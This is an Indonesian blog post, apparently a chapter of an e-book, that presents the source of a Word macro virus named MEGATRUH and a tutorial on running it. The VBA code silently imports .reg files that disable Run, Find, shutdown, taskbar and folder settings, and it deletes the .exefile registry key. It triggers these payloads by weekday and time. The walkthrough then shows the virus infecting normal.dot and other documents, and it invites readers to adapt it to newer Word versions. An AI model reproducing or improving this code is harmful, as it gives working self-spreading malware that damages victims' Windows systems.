System.PrivateProfileString("", "Hkey_current_user\software\microsoft\msetup(Acme)\userinfo", "DefName") = "Ambarawa-JawaTengah-Indonesia"
End Sub

'Jurus : Tantangan Pembuka (TP)
Sub TP()
System.PrivateProfileString("", "Hkey_Local_Machine\software\microsoft\Windows\CurrentVersion\WinLogon", "LegalNoticeCaption") = "MegatRuh  - Cyber Sufi - LogOn "
System.PrivateProfileString("", "Hkey_Local_Machine\software\microsoft\Windows\CurrentVersion\WinLogon", "LegalNoticeText") = "Di atas langit ada langit, di atas harapan ada harapan, berdoalah!"
End Sub


'------------------------------------------------------  manipulasi registry
'Jurus : Menikam Rembulan (MR)
Sub MR()
Open "\nr.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoRun"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nr.reg", vbHide
Kill "\nr.reg"
End Sub

'Jurus : Memanah Matahari (MM)
Sub MM()
Open "\nf.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoFind"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nf.reg", vbHide
Kill "\nf.reg"
End Sub

'Jurus : Mencabut Ilalang (MI)
Sub MI()
Open "\nc.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoClose"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nc.reg", vbHide
Kill "\nc.reg"
End Sub

'Jurus : Mengurai Kabut (MK)
Sub MK()
Open "\nst.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoSetTaskbar"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nst.reg", vbHide
Kill "\nst.reg"
End Sub

'Jurus : Mengguncang Nadi (MN)
Sub MN()
Open "\nsf.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoSetFolders"; """"; "=dword:01"
Close #1
Shell "regedit \nsf.reg", vbHide
Kill "\nsf.reg"
End Sub

' Jurus : Pukulan Pelangi (PP)
Sub PP()
MR
MM
MI
End Sub

'Jurus : Melibas Jantung (MJ)
Sub MJ()
MK
MN
End Sub

'Jurus : Ledakan Kosmos (LK)
Sub LK()
Open "\ne.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[-Hkey_Classes_Root\.exefile]"
Close #1
On Error Resume Next
Shell "regedit \ne.reg", vbHide
Kill "\ne.reg"
End Sub

'----------------- kriteria pengaktifan aksi virus -----------------------------------------------------------

Sub pesan()

    If Weekday(Date) = vbSunday And Time < TimeValue("4:00:00") Then
MR
x = MsgBox("Jurus : Menikam Rembulan !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbSunday And Time < TimeValue("17:00:00") Then
    MM
x = MsgBox("Jurus : Memanah Matahari !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbSunday And Time < TimeValue("23:00:00") Then
    PP
x = MsgBox("Jurus : Pukulan Pelangi !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If

    If Weekday(Date) = vbMonday And Time < TimeValue("4:00:00") Then
    MK
x = MsgBox("Jurus : Mengurai Kabut !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbMonday And Time < TimeValue("17:00:00") Then
    MI
x = MsgBox("Jurus : Mencabut Ilalang !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbMonday And Time < TimeValue("23:00:00") Then
    MJ
x = MsgBox("Jurus : Melibas Jantung !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If
 
    If Weekday(Date) = vbWednesday And Time < TimeValue("4:00:00") Then
    HSL
x = MsgBox("Jurus : Halimun Serbu Lembah !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbWednesday And Time < TimeValue("17:00:00") Then
    MN
x = MsgBox("Jurus : Mengoncang Nadi !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbWednesday And Time < TimeValue("23:00:00") Then
    LK
x = MsgBox("Jurus :Ledakan Kosmos !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If
   
    If Weekday(Date) = vbTuesday And Time < TimeValue("4:00:00") Then
    HT
x = MsgBox("Jurus : Halimun Tunggal !", vbOKOnly, "MegatRuh - Cyber Sufi")

    ElseIf Weekday(Date) = vbTuesday And Time < TimeValue("17:00:00") Then
        TPD
x = MsgBox("Jurus : Tarian Pena Dewa !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbTuesday And Time < TimeValue("23:00:00") Then
    TSN
x = MsgBox("Jurus :Tarian Siluman Nakal !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If
   
    If Weekday(Date) = vbThursday And Time < TimeValue("4:00:00") Then
    TDS
x = MsgBox("Jurus :Tarian Dua Siluman !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbThursday And Time < TimeValue("17:00:00") Then
    KB
x = MsgBox("Jurus :Kedipan Bintang !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbThursday And Time < TimeValue("23:00:00") Then
    BB
x = MsgBox("Jurus : Bintang Berguguran !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If
   
    If Weekday(Date) = vbFriday And Time < TimeValue("4:00:00") Then
    RM
x = MsgBox("Jurus :Rembulan Menangis !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbFriday And Time < TimeValue("17:00:00") Then
    BM
x = MsgBox("Jurus :Bintang Merah !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbFriday And Time < TimeValue("23:00:00") Then
    LR
x = MsgBox("Jurus :Lolongan Rembulan !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If
   
    If Weekday(Date) = vbSaturday And Time < TimeValue("4:00:00") Then
    GP
x = MsgBox("Jurus :Gerhana Putih !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbSaturday And Time < TimeValue("17:00:00") Then
    KN
x = MsgBox("Jurus :Kibasan Naga !", vbOKOnly, "MegatRuh - Cyber Sufi")
    ElseIf Weekday(Date) = vbSaturday And Time < TimeValue("23:00:00") Then
    LK
x = MsgBox("Jurus :Ledakan Kosmos !", vbOKOnly, "MegatRuh - Cyber Sufi")
    End If

    TP      ' tantangan pembuka
    PS      ' prasasti siluman
    JP      ' jejak pendekar

On Error Resume Next
ActiveDocument.Save

End Sub


Contoh model virus macro di atas, sejujurnya adalah hasil kompilasi dari beberapa program virus macro yang banyak beredar di “pasaran”. He… he... :)  Juga, memang jauh dari sempurna, sehingga kerja virus akan cukup mudah untuk dipatahkan  Pada beberapa bagian memang harus disempurnakan. Tapi saya memang tidak akan menyempurnakannya. Takut nambah-nambahin dosa ! he.. he…    Entah kalau Anda memang berminat memperbaiki kinerjanya.  Saya berlepas tangan untuk masalah itu !  Lagipula, contoh itu jangan yang sulit-sulit, biar gampang dimengerti dan dipahami.  Setuju?  Ceritanya saya sedang mencari-cari alasan, soal teknik pemrograman yang saya terapkan pada program di atas.  Malu sama para pemrogam-pemrogam mumpuni, jika mereka membaca listing program di atas. Saya memrogramnya asal saja kok, yang penting bisa jalan ! persoalan  saya anggap selesai .  He… he.. :)
Namun demikian kengawuran penulisan program yang saya bentuk, kiranya cukuplah mewakili bahasan kita tentang virus macro secara prinsip.  Begitu?



Kesalahan ketik (karena capek atau mata mengantuk atau mungkin diomeli pacar atau isteri.. he.. he.. ) dapat gampang terjadi pada perintah-perintah Visual Basic Word yang kita ketikkan.  Terutama berhati-hatilah dengan tanda titik (.) yang sering ada di antara perintah.  Buka mata lebar-lebar, sediakan tetes mata INSTO,  dan jangan emosi.  Oke?! …:)





•    Mengintip kerja virus : suatu pendekatan visual

Wah… judul sub paragraf ini cukup keren, ya…. Seperti di skripsi atau thesis-nya orang-orang pinter. Saya bisa lho, super serius menulis kata-kata formal yang membuat puyeng untuk dicerna dan dianalisa, bila memang hal itu diperlukan.  Namun daripada Anda buang buku ini karena tidak menarik, ya… lebih bijaksana saya batalkan niat saya yang sok pamer tersebut.  Oke? He… he…:)
Untuk mengetahui kerja virus yang sesungguhnya, langkah pertama yang dilakukan adalah menghapus file template milik Word yang bernama normal.dot.  lokasi file ini biasanya ada di : \Program Files\Microsoft Office\Templates.  Untuk gambaran perhatikan gambar berikut. 


Gambar :  lokasi file Normal.dot dilihat dengan Windows Explorer

Gambar tersebut menunjukkan lokasi file normal.dot dengan Windows Explorer.  Pilihlah file yang bernama normal.dot, lalu tekan tombol DEL, jika akan menghapusnya ke Recycle Bin.  Atau jika ingin menghapusnya secara permanen, pergunakan Shift Del.  Anggap saja kita menghapusnya dengan tombol DEL.  Maka akan keluar jendela Confirm File Delete, yang menanyakan : Are you sure you want to send ‘Normal.dot’ to the Recycle Bin? (Apakah Anda sudah yakin untuk memindahkan file normal.dot ke Recycle  Bin?).   Klik Yes, maka file akan dihapus dan disimpan di recycle bin. 


Gambar :  Pesan konfirmasi penghapusan file normal.dot

Setelah proses tersebut dilakukan, sekarang saatnya memanggil program Word.  Panggillah program Word dari menu START.  Jangan dengan memakai suatu file yang sudah ada.  Ini untuk menjaga “kemurnian” program Word dari ancaman virus.  Setelah program Word aktif, kita panggil editor Visual Basic. Klik Tools.  Lalu pilihlah Macro diikuti dengan pemilihan Visual Basic Editor.  Atau cara singkat tekan Alt F11.  Seharusnya editor Visual Basic tampil.  Jika editor Visual Basic tidak tampil, berarti ada yang tidak beres dengan program Word.  Hati-hati!


Gambar :  Memanggil editor Visual Basic

Yeah….. akhirnya kita berhasil masuk ke editor Visual Basic.  Perhatikan tampilannya.  Pada jendela sebelah kiri (jendela Project) akan terbaca Project-Normal.  Ini menandakan editor Visual Basic sedang berada pada file normal.dot.  Dalam jendela tersebut akan terlihat nama-nama file yang sedang aktif.  Pada gambar terlihat dua file yaitu normal dan Project (Document1).  Normal mewakili file normal.dot, sedangkan Project(Document1) mewakili file otomatis Word yang bernama Document1.  Ingat! Setiap kali Word diaktifkan tanpa membuka file yang sudah ada, ia akan memulainya dengan menampilkan suatu dokumen baru secara otomatis dengan nama Document1.
Jika kita perhatikan lebih lanjut, pada file Normal pada folder Microsoft Word  Objects hanya memiliki satu item saja, yaitu ThisDocument.  Sedangkan pada Project (Document1) mempunyai dua folder, yaitu Microsoft Word Objects dan References.  Perhatikan gambar!


Gambar :  Editor Visual Basic dengan beberapa proyek

Keluar sementara dari editor Visual Basic dengan menekan tanda – (Minimize) yang terletak pada kanan atas jendela editor Visual Basic.  Dengan cara ini, maka kita akan kembali pada editor Word. 
Sekarang, kita aktifkan file utama virus yang sudah kita buat,  pada contoh ini kita telah menyimpannya dengan nama MASTER.DOC.  Ingat bukan?  Oke… panggil file tersebut, dapat dilakukan dengan menekan Ctrl O, atau mengklik icon folder yang terbuka, atau dengan mengklik File, dan memilih Open.  Pilihlah cara  mana yang Anda suka.  Pokoknya file Master.doc harus diaktifkan. 
Setelah berhasil mengaktifkan file Master.doc, kita kembali ke editor Visual Basic dengan mengklik kotak pada taskbar atau menekan tombol Alt F11.  Setelah editor Visual Basic aktif lagi, kita perhatikan tampilannya.  Lihat… pada jendela Project.  Pada file Normal ternyata akan muncul suatu folder baru yang bernama Modules dan mempunyai suatu modul baru yang bernama MEGATRUH.  Modul baru ini muncul karena virus yang kita buat telah berhasil menginfeksi file normal.dot!   Virus telah dengan sukses mengcopykan dirinya ke normal.dot.  Alhamdullilah…. Berhasillah proyek kita … he… he…. :)


Gambar :  Proyek file MEGATRUH aktif dan menginfeksi normal template (normal.dot)

Juga perhatikan, bahwa Project(Document1) telah hilang dan digantikan dengan Project (MASTER).   Ini menandakan bahwa file MASTER.DOC telah aktif menggantikan file Document1.  pada proyek file master.doc ini mempunyai tiga folder.  Yaitu Microsoft Word Objects, Modules dan  References.  Program virus kita berada pada folder modules dengan nama modul MEGATRUH.   
Untuk membuktikan kinerja virus, kita akan membuat suatu dokumen baru.  Untuk itu keluarlah dari editor Visual Basic secara sementara, sehingga editor Word aktif.  Tahu caranya ‘kan?  Lihat pembahasan di atas!
Pada saat editor Word aktif, buatlah file baru dengan menekan Ctrl N atau memilih File dan New.    Ketikkan sembarang kata atau kalimat.   Lalu kita kembali ke editor Visual Basic.  Perhatikan tampilannya. 
Pada jendela Project akan muncul suatu proyek baru yaitu Project (Document2).  Lho… kok tidak Project (Document1)?   Iya... memang  begitu,  Word secara otomatis yang mengaturnya.  Karena pembuatan dokumen baru telah dianggap dilakukannya sebanyak dua kali, maka Word akan menamainya dengan Document2.  Pada  Project (Document2) ternyata “baik-baik” saja meskipun virus sudah aktif.  Virus belum menginfeksinya.  Ini terbukti dengan tidak adanya tambahan folder baru yang bernama modules dengan modul MEGATRUH.  Lho… lalu virus kita gagal dong?  Tidak juga !  Untuk membuktikannya, terpaksa kita kembali lagi ke editor Word.


Gambar :  Proyek Document2 masuk sebagai proyek baru

Pada saat di editor Word , klik  File lalu pilih Save atau Save As…. Atau cukup tekan Ctrl S.  Kita akan menyimpan file Document2 dengan nama yang sesuai.   Kotak dialog Save As, akan tampil.  Pada bagian isian File name, ketikkan KORBAN. Lalu klik tombol SAVE.  File baru dengan nama KORBAN.DOC akan disimpan.


Gambar :  Menyimpan file Document2 dengan nama KORBAN

Setelah menyimpan file dengan nama KORBAN, maka kita kembali ke editor Visual Basic.   Seharusnya virus akan menulari file tersebut.    Kita lihat jendela Project.  Pada jendela memang Project (Document2) telah digantikan dengan Project (KORBAN), tapi lihat … lagi-lagi  virus belum mau menginfeksi file. Sialan!!! Gagalkah kita ?  tenang saja, kembalilah ke editor Word.  Ketikkan sembarang data dan lakukan penyimpanan (save) ulang.   Lalu lihatlah kembali editor Visual Basic.  Virus masih belum berhasil menginfeksi file?   Jika ya, maka kembalilah ke editor Word dan tutuplah file KORBAN tersebut, dengan mengklik tanda X, pada jendelanya. 


Gambar : Proyek file Korban menggantikan proyek file Document2

Lalu, buka ulang file KORBAN.DOC dan kita lihat lagi editor Visual Basic.  Nah! Seharusnya file telah diinfeksi oleh virus. Sehingga tampilanya akan terlihat seperti pada gambar.  Terlihat pada Project (KORBAN) sudah muncul folder Modules dengan modul MEGATRUH didalamnya.  Selamat ! virus made in Anda,  berhasil “melahirkan anaknya”…. He….. he…. :)


Gambar :  Proyek file Korban terkena Infeksi virus

Untuk bukti terakhir kali, kita panggil suatu file yang sudah ada.  Anggap saja namanya adalah SURAT2.DOC.  Tekan Ctrl O, pada saat jendela Open tampil pilih File dengan nama surat2.doc dan klik Open atau tekan Enter.  File surat2.doc akan dibuka. 
Kita lihat struktur proyek file tersebut dengan editor Visual Basic.  Ya… ya… file Surat2 sudah masuk didalam proyek.  Lihat gambar.  Tapi apakah virus sudah berhasil menginfeksinya?  Kita buktikan.


Gambar :  Proyek file Surat2 aktif


Nah! Klik tanda + yang ada didepan nama Project (Surat2), akan terlihat bahwa folder Modules muncul dan terdapat modul virus MEGATRUH di dalamnya.   Waaah…… berhasil juga!




Sampai batas ini pembuktian kerja virus cukup, ya? Bila belum mantap maka coba dan buktikan sendiri! (walaaah…kayak iklan TV saja…. :))   tapi ingat pada saat mencoba jangan sampai menutup editor Visual Basic secara permanen!  Harus secara sementara.  Jika editor Visual Basic sampai tertutup secara permanen, maka akses ke editor Visual Basic akan ditolak.  Mengapa ? (mengapa lagi..!!!) karena virus MEGATRUH telah memblokir jalan akses ke editor Visual Basic. Nah! Kalau sudah begini, bagaimana?  Tidak ada jalan lain kita harus mengulangi proses dari depan.  Yaitu dimulai dengan menghapus file Normal.dot.  Jadi, daripada harus “bekerja bakti”, maka hati-hatilah!  Be happy and have fun….


Jika semua prosedur telah dilakukan dan belum terjadi infeksi, barangkali Anda mengetikkan program listing virus dengan tidak benar.  Ketikkan ulang atau periksalah kembali ketikan Anda, mungkin ada yang terlewat.  Atau mungkin salah ketik.  
Setelah yakin semua prosedur telah dijalankan dengan benar dan masih juga belum mau menginfeksi,  barangkali Anda memakai program Microsoft Word versi di atas 97.  Misalnya Word 2000.  Program virus ini memang belum dirancang untuk menginfeksi program Word 2000.  Penginfeksian Word 2000, mungkin dapat terjadi, namun diperlukan beberapa modifikasi.  (Itu tugas Anda!  Saya nanti dikasih listing modifikasinya, ya?  Biar irit tenaga. He.. he… :)  Tolong di email-kan ke : megatruh@asia.com.  Saya tunggu lho….)


Download Bab ini dalam versi Ebook PDF

*** BDVM : SELESAI !

2 komentar:

  1. MAS, AKU MAU TANYA............BISA GAK BUAT PASSWORD MACRO EXCEL 2003, TAPI BUKANYA LEWAT BATCH PROGRAMMING.............? TRIMS YA MAS

    ( AANPUTRA364@YMAIL.COM )

    BalasHapus
  2. Bang. Bisa gak buat virus macro mulai dari versi 2007 sampai versi 2019 bang?

    BalasHapus